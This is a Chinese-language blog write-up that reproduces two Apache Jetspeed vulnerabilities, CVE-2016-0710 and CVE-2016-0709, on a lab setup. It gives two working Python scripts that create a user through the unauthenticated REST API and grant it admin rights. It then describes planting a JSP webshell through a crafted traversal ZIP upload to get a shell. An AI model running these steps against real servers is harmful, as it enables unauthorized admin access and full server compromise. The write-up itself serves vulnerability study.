这篇文章也是酝酿了好久.无奈上个月一直有事情,正好清明放假,把这个cve还原了80%,确实有的地方会出现问题.

如果解决了,具体情况到时候再说.我就从环境配置到复现吧.
环境列表:
jdk-8u77-windows-x64
jetspeed-installer-2.3.0
mysql-connector-java-5.1.7-bin
apache-maven-3.0.3
apache-ant-1.9.6
mysql_5.6.24_winx64
JetSpeed集成环境的安装教程网上有这里就不多说了,提醒一下,安装jetspeed的时候,在数据库连接的时候,最好是先创建好数据库,然后在连接那个地方一定要填上数据库名.
安装环境的时候出问题最多的地方就是jetspeed,到时候可能访问的时候访问连接不上,我也是重装了数不清的次数了.
安装jetspeed的时候,一定要确定它连接上了数据库才行.

启动Tomcat的安装程序.


启动成功

0x01CVE-2016-0710 Apache Jetspeed 用户管理 REST API 未授权访问漏洞
根据网上的大神们的分析就漏洞利用,我就用两个脚本来代替吧.
因为JetSpeed启动的时候是启动Tomcat,默认端口是8080.
添加用户的:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python

import urllib
import urllib2
data = {"name":"test","password":"password","password_confirm":"password","user_name_given":"t","user_name_family":"est","user_email":"789@qq.com","newrule":''}
request = urllib2.urlopen(url = 'http://192.168.xxx.xxx:8080/jetspeed/services/usermanager/users/?_type=json',
data = urllib.urlencode(data)
)
content = request.read()
print(content)

提示为管理员权限:
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python

import urllib2
import urllib
data = {"name":"","password":"","password_confirm":"","user_name_given":"", "user_name_family":"","user_email":"","user_enbled":"","roles":"admin","rule":""}

request = urllib2.urlopen(url = 'http://192.168.xxx.xxx:8080/jetspeed/services/usermanager/users/test/?_type=json',
data = urllib.urlencode(data)
)
content = request.read()
print(content)

添加用户的结果:

登陆成功之后.但是用户权限太低了.提权后就发现登陆不上去了.


无奈,只能用admin登陆看看啥状况.发现用户一旦提权之后,就会被禁止了登陆功能.

我猜测可能是它有个什么机制在限制它以这种方式提权,有时间再看看JetSpeed的文档.在这里我就手动打开权限限制.

拿到了管理员权限.

0x02CVE-2016-0709 Apache Jetspeed 目录穿越漏洞
登陆后台之后,Jetspeed 后台 Portal Site Manger 在处理 import ZIP 文件时目录穿越的漏洞.
构造如图所示的压缩文件.我采用的方法是在linux下去构造这个路径的,然后将其压缩.x.jsp是一个jsp的马.


来到后台上传文件的地方,把刚才压缩好的文件,直接上传上去.这样构造的目的是在后台处理上传时会拼接此文件名导致目录穿越,控制文件上传路径.(上传之后的x.jsp就会在根目录下,直接访问.)

成功拿到shell.这里我是以管理员的身份启动的Tomcat.

到这里我就拿到了权限.就是在提权时为何会被禁用用户至今未能知道.